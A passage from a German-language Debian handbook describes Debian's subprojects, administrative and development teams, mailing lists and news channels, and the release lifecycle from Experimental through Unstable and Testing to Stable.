Freiwillige erstellen Plakate, Broschüren, Sticker und andere nützliche Werbematerialien für das Projekt, die sie jedem zur Verfügung stellen und die Debian auf seiner Website frei anbietet:

→ http://www.debian.org/events/material

1.3.3. Teams und Unterprojekte

Debian war von Beginn an um das Konzept der Quellpakete herum organisiert, jedes mit seinem Betreuer oder seiner Gruppe von Betreuern. Zahlreiche Arbeitsteams haben sich im Laufe der Zeit gebildet, die die Verwaltung der Infrastruktur und das Management von Aufgaben, die keinem bestimmten Paket zugeordnet werden können (Qualitätssicherung, Debian-Richtlinien, Installationsprogramm usw.) sicherstellen, wobei die jüngsten Teams rings um Unterprojekte heranwachsen.

1.3.3.1. Bestehende Debian-Unterprojekte

Jedem sein eigenes Debian! Ein Unterprojekt ist eine Gruppe von Freiwilligen, die daran interessiert ist, Debian an spezielle Anforderungen anzupassen. Außer der Auswahl einer Untergruppe von Programmen, die für einen bestimmten Bereich (Bildung, Medizin, Multimediaerstellung usw.) gedacht sind, dienen Unterprojekte auch der Verbesserung vorhandener Pakete, dem Paketieren fehlender Software, der Anpassung des Installationsprogramms, dem Erstellen bestimmter Dokumentation und Weiterem.

WÖRTERVERZEICHNIS Unterprojekt und abgeleitete Distribution

Der Entwicklungsprozess einer abgeleiteten Distribution besteht darin, mit einer bestimmten Version von Debian zu beginnen und daran eine Anzahl von Veränderungen vorzunehmen. Die hierbei verwendete Infrastruktur befindet sich vollständig außerhalb des Debian-Projekts. Es gibt nicht notwendigerweise Richtlinien zum Beitragen von Verbesserungen. Dieser Unterschied erklärt, wie sich eine abgeleitete Distribution von ihren Ursprüngen entfernen kann und warum sie sich regelmäßig mit ihrer Quelle neu synchronisieren muss, um aus Verbesserungen des Hauptzweigs Nutzen zu ziehen.

Im Gegensatz hierzu kann sich ein Unterprojekt nicht wegentwickeln, da alle daran vorgenommenen Arbeiten darin bestehen, Debian unmittelbar zu verbessern, um es so einem speziellen Ziel anzupassen.

Die bekannteste von Debian abgeleitete Distribution ist zweifellos Ubuntu, aber es gibt viele andere. Siehe Anhang A, Derivate (Abgeleitete Distributionen), um mehr über die Besonderheiten der Derivate und ihre Positionierung im Verhältnis zu Debian zu erfahren.

Hier ist eine kleine Auswahl aktueller Unterprojekte:

- Debian-Junior, von Ben Armstrong, bietet ein ansprechendes und leicht zu bedienendes Debian-System für Kinder;

- Debian-Edu, von Petter Reinholdtsen, auf die Erstellung einer speziellen Distribution für den akademischen Bereich ausgerichtet;

- Debian Med, von Andreas Tille, dem medizinischen Bereich gewidmet;

- Debian-Multimedia, befasst sich mit der Erstellung von Audio- und Multimedia-Inhalten;

- Debian-Desktop widmet sich dem Desktop und koordiniert Grafiken für das Standarderscheinungsbild (Theme);

- Debian GIS, das sich um Applikationen und Benutzer für geographische Informationssysteme kümmert;

- Zu guter letzt Debian Accessibility, das Debian verbessert, um die Bedürfnisse behinderter Menschen zu befriedigen.

Diese Liste wird mit der Zeit und einer besseren Wahrnehmung der Vorteile von Debian-Unterprojekten wahrscheinlich wachsen. Sie können sich mit voller Unterstützung durch die vorhandene Debian-Infrastruktur tatsächlich auf Aktivitäten mit wirklichem Mehrwert konzentrieren, ohne sich sorgen zu müssen, ob sie mit Debian synchron bleiben, da sie innerhalb des Projekts entwickelt werden.

1.3.3.2. Administrative Teams

Die meisten administrativen Teams sind relativ verschlossen und ergänzen sich nur durch Kooptation. Die beste Möglichkeit bei einem Team Mitglied zu werden, besteht darin, die aktuellen Mitglieder intelligent zu unterstützen und so zu zeigen, dass man ihre Ziele und Arbeitsmethoden verstanden hat.

Die FTP Master sind für das offizielle Archiv der Debian-Pakete zuständig. Sie betreuen das Programm, das die von Entwicklern eingeschickten Pakete entgegennimmt und nach einigen Überprüfungen automatisch auf dem Referenzserver speichert (ftp-master.debian.org).

Sie müssen auch die Lizenzen aller neuen Pakete überprüfen, bevor sie sie in die Sammlung bestehender Pakete aufnehmen, um sicherzustellen, dass Debian sie verbreiten darf. Wenn ein Entwickler ein Paket entfernen möchte, richtet er sich an dieses Team über das Fehlerberichtssystem und das „Pseudo-Paket" ftp.debian.org.

WÖRTERVERZEICHNIS Das Pseudo-Paket, ein Überwachungsmittel

Das Fehlerberichtssystem, das ursprünglich dazu gedacht war, Fehlerberichte einem Debian-Paket zuzuordnen, hat sich auch für andere Aufgaben als sehr geeignet erwiesen: das Auflisten zu lösender Probleme und zu erledigender Aufgaben ohne Verbindung zu einem bestimmten Debian-Paket. So ermöglichen „Pseudo-Pakete“ es bestimmten Teams, das Fehlerberichtssystem zu benutzen, ohne sich einem existierenden Paket zuzuordnen. Jeder kann auf diese Weise Angelegenheiten melden, die erledigt werden müssen. Zum Beispiel hat das Fehlerberichtssystem einen Eintrag ftp.debian.org, der genutzt wird um Probleme mit dem offiziellen Paketarchiv zu melden und zu verfolgen oder einfach die Entfernung eines Pakets zu erbitten. In ähnlicher Weise weist das Pseudo-Paket www.debian.org auf Fehler auf der Debian-Website hin, und sammelt lists.debian.org alle Probleme, die Mailinglisten betreffen.

HILFSPROGRAMM FusionForge, das Schweizer Taschenmesser für gemeinschaftliche Entwicklung

FusionForge ist ein Programm, mit dem man Seiten wie www.sourceforge.net, alioth.debian.org oder savannah.gnu.org erstellen kann. Es beherbergt Projekte und stellt eine Reihe von Diensten zur Verfügung, die gemeinschaftliche Entwicklung erleichtern. Jedes Projekt hat dort einen fest zugeordneten virtuellen Bereich einschließlich einer Website, diverser Ticketsysteme, meist zur Verfolgung von Fehlern und Patches, eines Umfrage-Tools, einer Dateiablage, eines Forums, eines Versionskontrollsystems, Repositories, Mailinglisten und verschiedener anderer dazugehöriger Dienste.

alioth.debian.org ist Debians FusionForge-Server, verwaltet von Tollef Fog Heen, Stephen Gran und Roland Mas. Jedes Projekt, bei dem ein oder mehrere Debian-Entwickler beteiligt sind, kann dort aufgenommen werden.

→ http://alioth.debian.org/

Obwohl FusionForge intern wegen der breiten Palette an Funktionen recht komplex ist, ist es dank der hervorragenden Arbeit von Roland Mas und Christian Bayle am Debian-Paket fusionforge recht einfach zu installieren.

Das Debian System Administrators(DSA)-Team (<debian-admin@lists.debian.org>) ist, wie zu erwarten, für die Systemadministration der vielen vom Projekt verwendeten Server verantwortlich. Es stellt den reibungslosen Betrieb aller Basisdienste sicher (DNS, Web, E-Mail, Konsole usw.), installiert von Debian-Entwicklern gewünschte Software und trifft alle sicherheitsrelevanten Vorsichtsmaßnahmen.

→ http://dsa.debian.org

HILFSPROGRAMM Debian Paketüberwachung

Dies ist eine von Raphaëls Erfindungen. Die Grundidee besteht darin, für ein bestimmtes Paket möglichst viel Information auf einer einzelnen Seite zu vereinigen. Auf diese Weise kann man schnell den Status eines Programms überprüfen, ausstehende Aufgaben erkennen und seine Hilfe anbieten. Daher sammelt diese Seite alle Fehlerstatistiken, die in jeder Distribution verfügbaren Versionen, Fortschritte eines Pakets in der Testing-Distribution, den Übersetzungsstatus der Beschreibungen und debconf-Vorlagen, die mögliche Verfügbarkeit einer neuen Ursprungsversion, Mitteilungen über die Nichteinhaltung der jüngsten Version der Debian-Richtlinien, Informationen über den Betreuer und alle übrigen Infos, die dieser Betreuer beifügen möchte.

→ https://tracker.debian.org/

Eine E-Mail-Abonnement-Funktion vervollständigt diese Webschnittstelle. Sie sendet automatisch folgende ausgewählte Informationen an die Liste: Fehler und dazugehörige Diskussionen, Verfügbarkeit einer neuen Version auf den Debian-Servern, fertiggestellte, zum Korrekturlesen bereite Übersetzungen usw.

Fortgeschrittene Nutzer können so alle diese Informationen genau verfolgen und, wenn sie ausreichend gut verstehen, wie es funktioniert, sogar zum Projekt beitragen.

Eine weitere Webschnittstelle, Debian Developer's Packages Overview (DDPO) genannt, stellt jedem Entwickler eine Statusübersicht aller Debian-Pakete zur Verfügung, die unter seiner Federführung stehen.

→ http://qa.debian.org/developer.php

Diese beiden Websites sind Hilfsprogramme, die von der bei Debian für die Qualitätssicherung zuständigen Gruppe (Debian QA genannt), entwickelt und verwaltet werden.

Die Listmaster verwalten die E-Mail-Server mit den Mailinglisten. Sie erstellen neue Listen, bearbeiten Abweisungen (Mitteilungen über gescheiterte Zustellungen) und betreuen die Spam-Filter (unerwünschte Massen-E-Mails).

KULTUR Datenverkehr auf den Mailinglisten: einige Zahlen

Die Mailinglisten sind zweifellos der beste Beweis für die Aktivität eines Projekts, da sie alle Ereignisse aufzeichnen. Einige Statistiken (von 2015) über unsere Mailinglisten sprechen für sich: Debian beherbergt mehr als 240 Listen mit insgesamt 212.000 Abonnenten. Die 27.000 Mitteilungen, die jeden Monat verschickt werden, führen zu 476.000 E-Mails pro Tag.

Jeder einzelne Dienst hat sein eigenes Team von Administratoren, in der Regel aus Freiwilligen bestehend, die ihn eingerichtet haben (und häufig auch die entsprechenden Hilfsprogramme selbst programmiert haben). Dies gilt für das Fehlerverfolgungssystem (BTS), die Paketverfolgung, alioth.debian.org (FusionForge-Server, siehe Seitenleiste HILFSPROGRAMM FusionForge, das Schweizer Taschenmesser für gemeinschaftliche Entwicklung), die Dienste auf qa.debian.org, lintian.debian.org, buildd.debian.org, cdimage.debian.org usw.

1.3.3.3. Entwicklungsteams, Querschnittsteams

Im Gegensatz zu den Verwaltungsteams sind die Entwicklungsteams, selbst gegenüber externen Mitwirkenden, recht offen. Auch wenn Debian sich nicht dazu berufen fühlt, Software zu erstellen, so benötigt das Projekt doch einige spezielle Programme, um seine Ziele zu erreichen. Natürlich wenden diese unter einer freien Softwarelizenz entwickelten Hilfsprogramme Methoden an, die sich andernorts in der Welt der freien Software bewährt haben.

KULTUR Git

Git ist ein Hilfsprogramm für gemeinschaftliches Arbeiten an mehreren Dateien mit einer Veränderungschronik. Die betreffenden Dateien sind im allgemeinen Textdateien wie zum Beispiel der Quellcode eines Programms. Wenn mehrere Leute gemeinsam an derselben Datei arbeiten, kann git die Veränderungen nur zusammenführen, wenn sie an unterschiedlichen Teilen der Datei vorgenommen wurden. Anderenfalls müssen diese „Konflikte“ von Hand gelöst werden.

Git ist ein verteiltes System, in dem jeder Benutzer ein Repository mit der kompletten Änderungshistorie hat. Zentrale Repositories werden verwendet, um das Projekt herunterzuladen (git clone) und die Arbeit mit anderen zu teilen (git push). Das Repository kann mehrere Versionen der Dateien enthalten, aber nur eine Version kann zu einem bestimmten Zeitpunkt bearbeitet werden: die Arbeitskopie (sie kann mit git checkout in eine andere Version geändert werden). Git kann Ihnen die Änderungen an der Arbeitskopie zeigen (git diff), kann sie im Repository speichern, indem er einen neuen Eintrag in der Versionshistorie erstellt (git commit), kann die Arbeitskopie aktualisieren, um von anderen Benutzern parallel vorgenommene Änderungen einzuschließen (git pull), und kann eine bestimmte Konfiguration in der Historie aufzeichnen, um sie später leicht extrahieren zu können (git tag).

Git ermöglicht den gleichzeitgen Umgang mit mehreren Versionen eines in der Entwicklung befindlichen Projekts, ohne dass sie sich gegenseitig stören. Diese Versionen werden branches(Zweige) genannt. Diese Metapher eines Baumes ist recht treffend, da ein Programm anfänglich in einem gemeinsamen Stamm entwickelt wird. Wenn eine bestimmte Wegmarke erreicht ist (wie zum Beispiel Version 1.0), setzt sich die Entwicklung in zwei Ästen fort: Der Entwicklungszweig erarbeitet die nächste größere Veröffentlichung, und der Wartungszweig handhabt Aktualisierungen und Fehlerkorrekturen für die Version 1.0.

Git ist heutzutage das beliebteste Versionskontrollsystem, aber es ist nicht das einzige. Historisch gesehen war CVS (Concurrent Versions System) das erste weit verbreitete Werkzeug, aber seine zahlreichen Einschränkungen trugen zum Erscheinen von moderneren freien Alternativen bei. Dazu gehören insbesondere subversion (svn), git, bazaar (bzr), und mercurial (hg).

→ http://www.nongnu.org/cvs/

→ http://subversion.apache.org/

→ http://git-scm.com/

→ http://bazaar.canonical.com/

→ http://mercurial.selenic.com/

Debian hat wenig eigene Software entwickelt, aber bestimmte Programme spielen heute eine zentrale Rolle, und ihr Name hat sich über den Bereich des Projekts hinaus verbreitet. Gute Beispiele sind dpkg, das Debian-Paketverwaltungsprogramm (es ist eine Abkürzung für Debian PacKaGe, ausgesprochen dee-package), und apt, ein Hilfsprogramm zur automatischen Installation von Debian-Paketen, und seine Abhängigkeiten, die die Konsistenz des Systems nach einer Aktualisierung sicherstellen (sein Name ist eine Abkürzung für Advanced Package Tool). Ihre Teams sind jedoch viel kleiner, da sehr gute Programmierkenntnisse für das vollständige Verständnis der Funktionsweise solcher Programmen erforderlich sind.

Das wichtigste Team ist wohl jenes für das Debian-Installationsprogramm debian-installer, das seit seinem Beginn im Jahr 2001 ein Werk bedeutenden Ausmaßes fertiggestellt hat. Zahlreiche Mitwirkende waren erforderlich, da es schwierig ist, ein einzelnes Programm zu schreiben, das in der Lage ist, Debian auf einem Dutzend verschiedener Architekturen zu installieren. Jedes hat seine eigenen Startabläufe und seinen eigenen Boot-Loader. All diese Arbeit wird in der Mailingliste <debian-boot@lists.debian.org> unter der Leitung von Cyril Brulebois koordiniert.

→ http://www.debian.org/devel/debian-installer/

→ http://joeyh.name/blog/entry/d-i_retrospective/

Das (sehr kleine) Team des Programms debian-cd hat ein noch bescheideneres Ziel. Viele „kleine“ Mitwirkende sind für ihre Architektur verantwortlich, da der Hauptentwickler weder alle Feinheiten noch den genauen Weg zum Starten des Installationsprogramms von der CD-ROM kennen kann.

Viele Teams müssen mit anderen beim Paketieren zusammenarbeiten: <debian-qa@lists.debian.org> versucht zum Beispiel, die Qualität auf allen Ebenen des Debian-Projekts sicherzustellen. Die Liste <debian-policy@lists.debian.org> entwickelt Debian-Richtlinien aufgrund von Vorschlägen, die aus allen Richtungen eintreffen. Die Teams, die für jeweils eine Architektur zuständig sind (<debian-architektur@lists.debian.org>), kompilieren alle Pakete und passen sie dabei nach Bedarf an ihre jeweilige Architektur an.

Andere Teams betreuen die wichtigsten Pakete, um ihre Instandhaltung sicherzustellen, ohne eine allzu schwere Last auf die Schultern eines Einzelnen zu legen; dies ist bei der C-Bibliothek und <debian-glibc@lists.debian.org> der Fall, beim C-Compiler auf der Liste <debian-gcc@lists.debian.org> und bei Xorg auf <debian-x@lists.debian.org> (diese Gruppe, ist auch als die X Strike Force bekannt).

1.4. Neuigkeiten bei Debian verfolgen

Wie schon erwähnt stellt sich das Debian Projekt ziemlich verteilt und organisch dar. Folglich ist es manchmal schwerig, dem Geschehen im Projekt zu folgen ohne in der niemals endenden Flut von Mitteilungen zu ertrinken.

Wenn Sie nur die wesentlichsten Neuigkeiten über Debian interessieren, ist es sinnvoll, die Mailingliste <debian-announce@lists.debian.org> zu abonnieren. Das ist eine sehr wenig frequentierte Liste (etwa ein Dutzend Meldungen pro Jahr) und sie veröffentlicht nur die allerwichtigsten Ankündigungen, wie die Verfügbarkeit von stabilen Versionen, die Wahl eines neuen Projektleiters oder das Stattfinden der jährlichen Debian Konferenz.

→ https://lists.debian.org/debian-announce/

Allgemeinere (und regelmäßige) Nachrichten über Debian werden verteilt über die Liste <debian-news@lists.debian.org>. Die Verteilfrequenz dieser Liste ist ebenfalls moderat (üblicherweise eine handvoll Meldungen pro Monat) und sie beinhaltet die halb offiziellen "Debian Projekt Nachrichten" (DPN), einer Zusammenstellung kurzer Einblicke in das Geschehen im Projekt. Da alle Debian-Entwickler Informationen, die sie für veröffentlichungswürdig halten, zu dieser Liste beisteuern können, vermittelt die DPN-Liste wertvolle Einsichten ohne den Blick auf das Gesamtprojekt zu verlieren.

→ https://lists.debian.org/debian-news/

GEMEINSCHAFT Öffentlichkeits- und Presseteam

Die offiziellen Kommunikationsstrukturen werden von Freiwilligen aus dem Öffentlichkeits- und dem Presseteam verwaltet. Mitglieder des letzteren Teams sind beauftragt vom Debian Projektleiter und verantworten die offiziellen Presseveröffentlichungen. Das Öffentlichkeitsteam ist deutlich weniger formal aufgestellt und freut sich über Beiträge von jedem, ob er Artikel für die "Debian Projekt Nachrichten" schreibt, oder ob er den Microblog @debian Identi.ca mit Beiträgen belebt.

→ http://wiki.debian.org/Teams/Press

→ http://wiki.debian.org/Teams/Publicity

Für weitergehende Informationen über die Entwicklung von Debian und das, was zu einem bestimmten Zeitpunkt in den einzelnen Teams passiert gibt es noch die Mailingliste <debian-devel-announce@lists.debian.org>. Wie der Name vermuten läßt, sind deren Inhalte wohl eher für Entwickler interessant, aber sie erlaubt interessierten Dritten einen detaillierteren Blick auf das Geschehen, als nur den Zeitpunkt der Freigabe einer stabilen Version. Während <debian-announce@lists.debian.org> Neuigkeiten über die für den Benutzer sichtbaren Ergebnisse verbreitet, erhält man über <debian-devel-announce@lists.debian.org> Einblick in die Entstehung dieser Ergebnisse. Nebenbei bemerkt, "d-d-a" (wie sie manchmal genannt wird), ist die einzige Liste, welche Debian Entwickler abonnieren müssen.

→ https://lists.debian.org/debian-devel-announce/

Eine mehr informelle Quelle für Informationen findet sich auch bei Planet Debian, wo Artikel, die von Debian-Unterstützern in ihren jeweiligen Blogs veröffentlicht wurden, gesammelt werden. Obwohl die Inhalte nicht ausschließlich mit der Entwicklung von Debian zu tun haben, geben Sie einen Einblick in das, was in der Gemeinschaft geschieht und womit sich deren Mitglieder beschäftigen.

→ http://planet.debian.org/

Das Projekt ist ebenfalls sehr gut präsent in Sozialen Netzwerken. Während Debian nur eine offizielle Präsenz auf Plattformen hat, die auf freier Software basieren (wie die Microblog-Plattform Identi.ca die auf pump.io aufsetzt), gibt es viele Debian-Unterstützer die Twitter-Konten unterhalten, Facebook- oder Google+-Seiten und andere betreiben.

→ https://identi.ca/debian

→ https://twitter.com/debian

→ https://www.facebook.com/debian

→ https://plus.google.com/111711190057359692089

1.5. Die Rolle der Distributionen

Eine GNU/Linux-Distribution hat zwei Hauptziele: ein freies Betriebssystem auf einem Rechner zu installieren (entweder allein oder neben einem oder mehreren bestehenden Betriebssystemen) und eine Auswahl an Software zur Verfügung zu stellen, die alle Bedürfnisse der Anwender befriedigt.

1.5.1. Das Installationsprogramm: debian-installer

Das Programm debian-installer, das äußerst modular angelegt ist, um möglichst universell zu sein, adressiert die erste Zielsetzung. Es deckt eine große Bandbreite an Installationssituationen ab und erleichtert die Erstellung eines angepassten Installationsprogramms für besondere Fälle.

Diese Modularität und die daraus resultierende Komplexität kann Entwickler auch abschrecken, die mit dem Tool arbeiten wollen. Sowohl mit der Grafikoberfläche als auch im Textmodus machen Anwender ähnliche Erfahrungen. Mit hohem Aufwand konnte dank der integrierten automatischen Hardwareerkennung die Anzahl der zum Installationszeitpunkt zu beantwortenden Fragen reduziert werden.

Interessanterweise unterscheiden sich von Debian abgeleitete Distributionen in dieser Hinsicht sehr und bieten ein eingeschränkteres (häufig auf die i386- oder amd64-Architektur begrenztes), jedoch für Unerfahrene leichter zu bedienendes Installationsprogramm an. Andererseits verzichten sie darauf, zu weit vom Paketinhalt abzuweichen, um möglichst viel von der großen Auswahl angebotener Software zu profitieren, ohne Kompatibilitätsprobleme zu verursachen.

1.5.2. Die Software-Bibliothek

Quantitativ gesehen ist Debian mit mehr als 21.000 Quellcode-Paketen in dieser Hinsicht unbestritten führend. Aus qualitativer Sicht rechtfertigen Debians Richtlinien und die lange Testperiode vor der Veröffentlichung einer neuen stabilen Version seinen Ruf der Konsistenz und Stabilität. Was die Verfügbarkeit angeht, so ist alles über viele Spiegelserver erhältlich, die alle sechs Stunden aktualisiert werden.

Viele Händler verkaufen CD-ROM über das Internet zu einem sehr niedrigen Preis (oft zu Selbstkosten), die „Images“ stehen frei zum Herunterladen zur Verfügung. Es gibt nur eine Schattenseite: die geringe Häufigkeit, mit der neue stabile Versionen veröffentlicht werden (ihre Entwicklung dauert manchmal mehr als zwei Jahre). Hierdurch verzögert sich die Aufnahme neuer Software.

Die meisten neuen freien Programme finden schnell ihren Weg in die Entwicklungsversion, sodass sie installiert werden können. Falls dies aufgrund ihrer Abhängigkeiten zu viele Aktualisierungen erfordert, kann ein Programm auch für die stabile Debian-Version rekompiliert werden (siehe Kapitel 15, Ein Debian-Paket erstellen für mehr Informationen zu diesem Thema).

1.6. Lebenszyklus einer Veröffentlichung

Das Projekt verfügt gleichzeitig über drei bis sechs verschiedene Versionen jeden Programms, die als Experimental, Unstable, Testing und Stable, Oldstable oder sogar Oldoldstable bezeichnet werden. Jede entspricht einer anderen Entwicklungsphase. Um dies richtig zu verstehen, lassen Sie uns einen Blick auf den Weg eines Programms von seiner ersten Paketierung bis zur Aufnahme in die stabile Debian-Version werfen.

WÖRTERVERZEICHNIS Veröffentlichung

Der Begriff „release“ (Veröffentlichung) bezeichnet im Debian-Projekt eine bestimmte Version einer Distribution (so bedeutet zum Beispiel „unstable release“ die Version „Unstable“). Er bezeichnet auch die öffentliche Ankündigung der Vorstellung einer neuen Version (Stable).

1.6.1. Der Status Experimental

Lassen Sie uns zunächst einen Blick auf den besonderen Fall der Distribution Experimental werfen: Dies ist eine Gruppe von Debian-Paketen, die der aktuell noch in Entwicklung befindlichen und nicht unbedingt fertiggestellten Programme entspricht, was ihren Namen erklärt. Nicht alles durchläuft diese Phase; manche Entwickler stellen hier Pakete ein, um Rückmeldungen von erfahreneren (oder mutigeren) Anwendern zu erhalten.

Andererseits enthält diese Distribution häufig wichtige Änderungen grundlegender Pakete, deren Aufnahme in Unstable mit schwerwiegenden Fehlern gefährliche Auswirkungen haben würde. Sie ist daher eine vollständig isolierte Distribution. Ihre Pakete werden niemals in eine andere Version übertragen (es sei denn durch direktes ausdrückliches Eingreifen des Betreuers oder der FTP Master). Auch ist sie nicht vollständig: nur eine Untermenge der vorhandenen Pakete ist in Experimental enthalten und es fehlt grundsätzlich das Basis-System. Diese Distribution ist deshalb meist nur zusammen mit einer vollständigen Distribution, wie beispielsweise Unstable sinnvoll einsetzbar.

1.6.2. Der Status Unstable

Lassen Sie uns zum Fall eines typischen Pakets zurückkehren. Der Betreuer erstellt ein erstes Paket, das er für die Version Unstable kompiliert und auf den Server ftp-master.debian.org legt. Dieser erste Schritt schließt eine Überprüfung und Bewertung durch die FTP Master ein. Die Software ist dann in der Distribution Unstable verfügbar, die eine Vorreiterrolle spielt und die von Anwendern gewählt wird, die mehr Wert auf aktuelle Paketen nach dem neuesten Stand legen, als sich um schwerwiegende Fehler zu sorgen. Sobald sie das Programm entdecken, probieren sie es aus.

Falls sie Fehler entdecken, melden sie sie dem Paketbetreuer. Der Betreuer erstellt dann regelmäßig korrigierte Versionen, die er auf den Server hochlädt.

Jedes aktualisierte Paket wird innerhalb von sechs Stunden weltweit auf allen Debian-Spiegelservern auf diesen Stand gebracht. Die Anwender prüfen dann die Korrekturen und suchen nach anderen Problemen, die sich aus den Veränderungen ergeben. Mehrere Aktualisierungen können in schneller Folge stattfinden. Zu diesen Zeiten werden Selbstbau-Roboter eingesetzt. Der Betreuer hat in der Regel nur einen herkömmlichen Rechner und hat sein Paket auf einer amd64 (oder i386)-Architektur kompiliert; die Selbstbau-Roboter übernehmen es dann und kompilieren selbstständig Versionen für alle übrigen Architekturen. Möglicherweise scheitern einige Kompilierungen; der Betreuer erhält dann einen Fehlerbericht, der ihm das Problem anzeigt, das dann in der nächsten Version korrigiert wird. Wenn der Fehler von einem Spezialisten für die betreffende Architektur entdeckt wird, enthält der Fehlerbericht möglicherweise bereits eine gebrauchsfertige Nachbesserung.

Abbildung 1.2. Kompilierung eines Paketes durch die Selbstbau-Roboter

KURZER BLICK buildd, der Debian-Paket-Rekompilierer

buildd ist die Abkürzung für „build daemon“. Dieses Programm rekompiliert selbstständig neue Versionen von Debian-Paketen auf den Architekturen, auf denen es untergebracht ist (da eine Cross-Kompilierung so weit wie möglich vermieden wird).

Um also Binärdateien für die arm64-Architektur zu erstellen, hält das Projekt arm64-Rechner bereit. Das Programm buildd läuft auf ihnen ununterbrochen und erzeugt aus Quellpaketen, die von Debian-Entwicklern eingeschickt wurden, Binärpakete für arm64.

Diese Software wird auf allen Rechnern eingesetzt, die als Selbstbau-Roboter für Debian dienen. Infolgedessen wird der Begriff buildd häufig auch auf diejenigen Rechner ausgedehnt, die gewöhnlich ausschließlich für diesen Zweck reserviert sind.

1.6.3. Migration zu Testing

Etwas später wird das Paket ausgereift sein; es wird in seinen Kompilierungen für alle Architekturen keine neuerlichen Veränderungen mehr durchgemacht haben. Damit ist es ein Kandidat für die Aufnahme in die Distribution Testing - einer Gruppe von Unstable-Paketen, die unter Beachtung einer Reihe von quantifizierbaren Kriterien ausgewählt worden sind. Jeden Tag wählt ein Programm unter Berücksichtigung von Elementen, die ein bestimmtes Qualitätsniveau gewährleisten, selbstständig die Pakete für die Aufnahme in Testing aus:

1. keine kritischen Fehler oder zumindest weniger als in der aktuell in Testing enthaltenen Version;

2. hat wenigstens 10 Tage in Unstable verbracht, ausreichend lange, um ernsthafte Probleme zu entdecken und zu melden;

3. erfolgreiche Kompilierung auf allen offiziell unterstützten Architekturen;

4. Abhängigkeiten können in Testing gelöst werden oder können zumindest zusammen mit dem betreffenden Paket dorthin verschoben werden.

Dieses System ist sicherlich nicht unfehlbar; kritische Fehler werden regelmäßig in Paketen gefunden, die in Testing enthalten sind. Dennoch ist es im Allgemeinen effektiv, und Testing bereitet deutlich weniger Probleme als Unstable, womit es für viele ein guter Kompromiss zwischen Stabilität und Aktualität ist.

HINWEIS Einschränkungen von Testing

Obwohl an sich sehr interessant, wirft Testing einige praktische Probleme auf: Das Gewirr gegenseitiger Abhängigkeiten zwischen Paketen führt dazu, dass ein Paket selten allein dorthin verschoben werden kann. Da alle Pakete voneinander abhängen, muss manchmal eine große Anzahl gleichzeitig verschoben werden, was jedoch unmöglich ist, wenn einige regelmäßig Aktualisierungen hochladen. Auf der anderen Seite arbeitet das Skript, das Familien zusammengehöriger Pakete festlegt, unermüdlich daran, diese zu erstellen (dies wäre ein NP-vollständiges Problem, für dessen Lösung wir jedoch glücklicherweise einige gute Heuristiken kennen). Wir können daher manuell mit dem Skript interagieren und es lenken, indem wir Gruppen von Paketen vorschlagen oder die Aufnahme bestimmter Pakete in eine Gruppe erzwingen, selbst wenn dies vorübergehend einige Abhängigkeiten bricht. Dieses Funktionsmerkmal ist für die Release-Manager und ihre Assistenten zugänglich.

Erinnern Sie sich daran, dass ein NP-vollständiges Problem eine exponentielle algorithmische Komplexität in Abhängigkeit vom Datenumfang hat, der in diesem Fall durch die Länge des Codes (die Anzahl der Zeichen((?)) ) und der beteiligten Elemente bestimmt wird. Der einzige Lösungsweg besteht häufig darin, alle möglichen Konfigurationen zu überprüfen, was einen enormen Aufwand erfordern könnte. Eine Heuristik ist da eine ungefähre, aber hinreichende Lösung.

GEMEINSCHAFT Der Release-Manager

Release Manager ist ein wichtiger mit großer Verantwortung verbundener Titel. Der Träger dieses Titels muss faktisch die Veröffentlichung einer neuen, stabilen Debian-Version bewältigen und den Entwicklungsprozess von Testing bestimmen, bis es die Qualitätskriterien für Stable erfüllt. Er legt auch einen vorläufigen Zeitplan fest (der nicht immer eingehalten wird).

Wir haben auch Stable Release Manager, häufig SRM abgekürzt, die die aktuelle stabile Debian-Version betreuen und für sie Aktualisierungen auswählen. Sie nehmen systematisch Sicherheitspatches auf und überprüfen jeden einzelnen der von Debian-Entwicklern eingeschickten Einfügungsvorschläge, die ihr Paket in der stabilen Version aktualisieren möchten.

1.6.4. Die Beförderung von Testing zu Stable

Angenommen, unser Paket ist jetzt in Testing enthalten. Solange es noch Optimierungspotenzial enthält, muss sein Betreuer es weiter verbessern und den Prozess von Unstable aus neu beginnen. (Jedoch erfolgt seine spätere Aufnahme in Testing normalerweise schneller: Falls es sich nicht erheblich verändert hat, sind alle seine Abhängigkeiten bereits erfüllt.) Wenn es fertig ist, hat der Betreuer seine Aufgabe erfüllt. Der nächste Schritt besteht dann in seiner Aufnahme in die Distribution Stable, die eigentlich nur eine einfache Kopie von Testing zu einem vom Release Manager bestimmten Zeitpunkt ist. Idealerweise wird diese Entscheidung getroffen, wenn das Installationsprogramm fertig ist, und wenn kein Programm in Testing mehr irgendwelche bekannten kritischen Fehler hat.

Da dieser Augenblick niemals wirklich eintritt, muss Debian in der Praxis Kompromisse machen: Pakete entfernen, deren Betreuer Fehler nicht rechtzeitig behoben hat, oder der Veröffentlichung einer Distribution mit einigen wenigen Fehlern in Tausenden von Programmen zustimmen. Der Release Manager wird zuvor einen Zeitraum mit einer Veränderungssperre verkündet haben, währenddessen jede weitere Aktualisierung in Testing genehmigt werden muss. Dies geschieht mit dem Ziel, neue Versionen (und damit neue Fehler) zu verhindern und nur solche Aktualisierungen zu genehmigen, die Fehler beheben.

Abbildung 1.3. Der Weg eines Pakets durch die verschiedenen Debian-Versionen

WÖRTERVERZEICHNIS Freeze (Veränderungssperre): die Zielgerade

Während der Zeit einer Veränderungssperre ist die Entwicklung der Distribution Testing gesperrt; weitere selbstständige Aktualisierungen sind nicht mehr erlaubt. Nur die Release Manager dürfen dann Pakete, in Übereinstimmung mit ihren eigenen Kriterien, ändern. Ziel ist es, das Auftreten neuer Fehler durch die Einführung neuer Versionen zu verhindern; nur gründlich untersuchte Aktualisierungen werden genehmigt, wenn sie signifikante Fehler beheben.

Nach der Veröffentlichung einer neuen stabilen Version leitet der Stable Release Manager die weitere Entwicklung („Revisionen“ genannt, zum Beispiel 7.1, 7.2, 7.3 für Version 7). Diese Aktualisierungen nehmen systematisch alle Sicherheitspatches auf. Sie schließen auch die wichtigsten Verbesserungen mit ein (der Betreuer eines Pakets muss die Schwere des Problems, das er korrigieren möchte, nachweisen, damit seine Aktualisierungen aufgenommen werden).

